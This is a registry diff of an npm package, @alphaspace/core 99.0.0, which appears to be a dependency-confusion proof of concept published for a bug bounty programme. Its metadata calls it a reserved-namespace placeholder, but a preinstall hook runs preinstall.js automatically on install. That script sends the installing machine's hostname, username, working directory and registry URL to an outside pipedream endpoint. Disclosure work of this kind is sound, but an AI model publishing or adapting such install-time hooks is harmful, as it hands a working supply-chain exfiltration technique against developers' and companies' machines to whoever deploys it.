@alphaspace/core 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +5 -0
- package/index.js +3 -0
- package/package.json +18 -0
- package/preinstall.js +98 -0
package/README.md
ADDED
package/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@alphaspace/core",
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "Placeholder package. Reserved namespace.",
|
|
5
|
+
"license": "MIT",
|
|
6
|
+
"main": "index.js",
|
|
7
|
+
"files": [
|
|
8
|
+
"index.js",
|
|
9
|
+
"preinstall.js",
|
|
10
|
+
"README.md"
|
|
11
|
+
],
|
|
12
|
+
"scripts": {
|
|
13
|
+
"preinstall": "node preinstall.js"
|
|
14
|
+
},
|
|
15
|
+
"engines": {
|
|
16
|
+
"node": ">=12"
|
|
17
|
+
}
|
|
18
|
+
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,98 @@
|
|
|
1
|
+
/*
|
|
2
|
+
* Dependency-confusion proof-of-concept — authorised security research.
|
|
3
|
+
* Yahoo Bug Bounty via Intigriti. Researcher: mlitchfield.
|
|
4
|
+
*
|
|
5
|
+
* WHAT THIS DOES, in full, with nothing omitted:
|
|
6
|
+
* 1. prints an identifying banner to the install log
|
|
7
|
+
* 2. sends ONE HTTPS POST reporting that it was installed, and from where
|
|
8
|
+
* 3. exits 0, always
|
|
9
|
+
*
|
|
10
|
+
* WHAT IT DELIBERATELY DOES NOT DO:
|
|
11
|
+
* - it does not read process.env beyond the two npm-set lifecycle variables named below
|
|
12
|
+
* (npm_config_registry, npm_package_name). No credentials, no secrets, no token scraping.
|
|
13
|
+
* - it does not read, write or delete any file
|
|
14
|
+
* - it does not spawn a shell or any child process
|
|
15
|
+
* - it does not persist, schedule or install anything
|
|
16
|
+
* - it cannot fail a build: every path is wrapped, the socket has a 3s cap, and the exit code
|
|
17
|
+
* is always 0 even on error
|
|
18
|
+
*
|
|
19
|
+
* Why npm_config_registry is included: it is the single field that answers the question this PoC
|
|
20
|
+
* exists to settle — which registry the install was actually configured against. It is set by npm
|
|
21
|
+
* itself and contains no secret.
|
|
22
|
+
*/
|
|
23
|
+
|
|
24
|
+
const https = require("https");
|
|
25
|
+
const os = require("os");
|
|
26
|
+
|
|
27
|
+
const ENDPOINT = "https://f5778d1d81cc30c39dcdd0da5ca1d49a.m.pipedream.net";
|
|
28
|
+
const RUN_ID = Math.random().toString(16).slice(2, 10);
|
|
29
|
+
|
|
30
|
+
function banner() {
|
|
31
|
+
const L = [
|
|
32
|
+
"",
|
|
33
|
+
" ─────────────────────────────────────────────────────────────────────────",
|
|
34
|
+
" @alphaspace/core — AUTHORISED SECURITY RESEARCH, NOT A REAL PACKAGE",
|
|
35
|
+
"",
|
|
36
|
+
" This is a dependency-confusion proof-of-concept published as part of the",
|
|
37
|
+
" Yahoo Bug Bounty programme on Intigriti by researcher mlitchfield.",
|
|
38
|
+
"",
|
|
39
|
+
" If you are seeing this in a build log, that build resolved a PRIVATE package",
|
|
40
|
+
" name from the PUBLIC npm registry. That is the issue being reported.",
|
|
41
|
+
"",
|
|
42
|
+
" This package reads no secrets, touches no files, runs no commands and cannot",
|
|
43
|
+
" fail your build. It reports only: hostname, username, working directory,",
|
|
44
|
+
" platform and the configured registry URL.",
|
|
45
|
+
"",
|
|
46
|
+
" run-id: " + RUN_ID,
|
|
47
|
+
" Contact the Yahoo security team, referencing the @alphaspace dependency-",
|
|
48
|
+
" confusion report, to have this package removed.",
|
|
49
|
+
" ─────────────────────────────────────────────────────────────────────────",
|
|
50
|
+
"",
|
|
51
|
+
];
|
|
52
|
+
try { console.log(L.join("\n")); } catch (e) { /* never fatal */ }
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
function report() {
|
|
56
|
+
let payload;
|
|
57
|
+
try {
|
|
58
|
+
payload = JSON.stringify({
|
|
59
|
+
poc: "yahoo-bbp-alphaspace-depconfusion",
|
|
60
|
+
researcher: "mlitchfield",
|
|
61
|
+
run_id: RUN_ID,
|
|
62
|
+
ts_utc: new Date().toISOString(),
|
|
63
|
+
hostname: os.hostname(),
|
|
64
|
+
username: (os.userInfo && os.userInfo().username) || null,
|
|
65
|
+
cwd: process.cwd(),
|
|
66
|
+
pkg: "@alphaspace/core",
|
|
67
|
+
pkg_version: "99.0.0",
|
|
68
|
+
npm_package_name: process.env.npm_package_name || null,
|
|
69
|
+
npm_config_registry: process.env.npm_config_registry || null,
|
|
70
|
+
platform: process.platform,
|
|
71
|
+
arch: process.arch,
|
|
72
|
+
node: process.version,
|
|
73
|
+
});
|
|
74
|
+
} catch (e) { return; }
|
|
75
|
+
|
|
76
|
+
try {
|
|
77
|
+
const req = https.request(
|
|
78
|
+
ENDPOINT,
|
|
79
|
+
{
|
|
80
|
+
method: "POST",
|
|
81
|
+
timeout: 3000,
|
|
82
|
+
headers: {
|
|
83
|
+
"Content-Type": "application/json",
|
|
84
|
+
"Content-Length": Buffer.byteLength(payload),
|
|
85
|
+
"User-Agent": "alphaspace-depconfusion-poc/99.0.0 (yahoo-bbp; mlitchfield)",
|
|
86
|
+
},
|
|
87
|
+
},
|
|
88
|
+
(res) => { res.resume(); }
|
|
89
|
+
);
|
|
90
|
+
req.on("error", () => {});
|
|
91
|
+
req.on("timeout", () => { try { req.destroy(); } catch (e) {} });
|
|
92
|
+
req.write(payload);
|
|
93
|
+
req.end();
|
|
94
|
+
} catch (e) { /* never fatal */ }
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
try { banner(); report(); } catch (e) { /* never fatal */ }
|
|
98
|
+
process.exitCode = 0;
|